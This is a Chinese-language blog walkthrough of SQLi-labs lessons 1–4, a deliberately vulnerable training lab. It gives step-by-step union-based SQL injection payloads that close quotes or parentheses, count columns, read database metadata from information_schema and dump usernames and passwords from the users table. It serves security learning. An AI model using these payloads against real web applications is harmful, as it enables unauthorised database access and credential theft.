SQLi—LABS-less1-4

实验环境:kali linux 19.04  win 7 sp3  phpstudy 2018

具体步骤:

less1

(1)进入less-1,能看到页面的提示信息,需要输入一个参数传递给id

 

(2)输入?id=1,能看到显示出了一个用户及密码

(3)输入?id=1' ,判断是否过滤 ' ,发现并没有过滤,页面报错,信息为''1'' LIMIT 0,1'

(4)根据报错信息,可以确定输入参数的内容被存放到一对单引号中间,使用 --+ 注释掉该句SQL语句后面的内容,只让?id=1' 执行,来判断是那一部分位于  ' ' 之间,发现id = 1依然能执行

(5)使用order by 猜测一下有多少个字段,发现猜测到 order by 4 时 出错了,说明只有3个字段

(6)使用 ?id=-1 ' union select 1,2,3--+判断一下数据显示的位置,至于为什么 id=-1 因为需要在之前?id=1 ' union select 1,2,3--+ 显示的结果和查询id=1时的结果是一致的,也就是说我们并不知道union select 是否执行了,那么我们只要让id=1行查询的结果是空集,那么我们union右边的查询结果自然就能显示出来,传参的id一般传的是数字而且一般都是从1开始自增的,可以把id值设为非正数(负数或0),浮点数,字符型或字符串都行

(7)接下来就能在显示2和3的地方爆出用户名、数据库名及数据库的版本号(?id=-1 ' union select 1,concat_ws(char(32,58,32),user(),database(),version()),3--+)

(8)已经爆出了数据库名,便可爆出该数据库中的表(?id=-1 ' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='security'),3--+)

(9)获取数据表users中的字段(?id=-1 ' union select 1,(select group_concat(column_name)from information_schema.columns where table_schema='security'and table_name='users'),3--+)

(10)获取username及password中的数据(?id=-1 ' union select 1,group_concat(username,0x3a,password),3 from users --+)

 

less2

(1)根据提示的信息输入?id=1,能够正常回显信息

(2)输入?id=1 and 1=1 能正常回显 ,再次输入 ?id=1 and 1=2  并不能回显信息也没有报错(因为该关是数字型的注入)

(3)使用order by 猜测一下有多少个字段,发现猜测到 order by 4 时 出错了,说明只有3个字段

(4)使用?id=1 and 1=2 union select 1,2,3 判断回显数据的位置

(5)在显示2的位置输出当前数据库的名字 (?id=1 and 1=2 union select 1,database(),3)

(6)获取到当前数据库库名后,就能获取到该数据库下的表名(?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security')

(7)获取users表中的字段(?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users')

(8)获取users表中的username和password字段中的信息(?id=1 and 1=2 union select 1,group_concat(username,0x3a,password),3 from security.users)

 

lees3

(1)根据提示输入?id=1,能够正常的显示出用户名和密码。输入?id=1' 发现报出来的错误信息里多了一个 ) 能够猜测到sql语句是

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; 

(2)使用 ') 闭合前面的注释掉后面的一部分语句就行了(?id=1') and 1=1 --+)

(3)当?id =1')and 1=2 --+ 就不能显示任何信息,科判断有注入点

(4)使用order by 猜测一下有多少个字段,发现猜测到 order by 4 时 出错了,说明只有3个字段

(5)使用?id=1') and 1=2 union select 1,2,3 判断回显数据的位置

(6)在显示2的位置输出当前数据库的名字 (?id=1')  and 1=2 union select 1,database(),3)

(7)获取到当前数据库库名后,就能获取到该数据库下的表名(?id=1') and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security')

(8)获取users表中的字段(?id=1') and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users')

(9)获取users表中的username和password字段中的信息(?id=1') and 1=2 union select 1,group_concat(username,0x3a,password),3 from security.users)

 

less4(get error based double quotes string)

直接使用 ?id = 1" (出现报错,能猜测到sql的语句为:$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";

就能用 ?id=1") and 1=1 --+(并没有报错,正常的输出)

?id=1") and 1=3 --+ (并没有显示出任何的信息)

?id=1") order by 4--+ (猜测一下有多少个字段,发现到4时出错,说明只有3个字段)

?id=1") and 1=3 union select 1,2,3 --+(判断一下输出的数据显示的位置)

?id=1") and 1=3 union select 1,database(),3 --+ --+(获取当前数据库)

?id=1") and 1=3 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+(获取当前数据库中的数据表)

?id=1") and 1=3 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+(获取users表中的字段信息)

?id=1") and 1=3 union select 1,group_concat(username,0x3a,password),3 from security.users--+(获取username和password字段中的数据信息)

 

posted @ 2020-04-30 16:19  touch丶  阅读(195)  评论(0)    收藏  举报